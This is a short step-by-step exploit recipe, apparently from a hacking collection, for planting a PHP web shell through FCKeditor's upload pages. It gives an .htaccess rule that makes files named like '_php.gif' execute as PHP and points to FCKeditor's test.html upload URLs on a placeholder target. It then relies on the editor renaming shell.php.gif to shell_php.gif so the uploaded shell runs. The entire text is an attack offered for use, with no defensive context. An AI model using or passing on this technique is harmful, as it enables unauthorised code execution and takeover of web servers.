.htaccess

1.create a htaccess file: 
code:  
<FilesMatch "_php.gif"> 
SetHandler application/x-httpd-php 
</FilesMatch> 
  
2.Now upload this htaccess with FCKeditor. 
http://target.com/FCKeditor/editor/filemanager/upload/test.html 
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html 
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3.Now upload shell.php.gif with FCKeditor. 
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically. 
5.http://target.com/anything/shell_php.gif 
6.Now shell is available from server.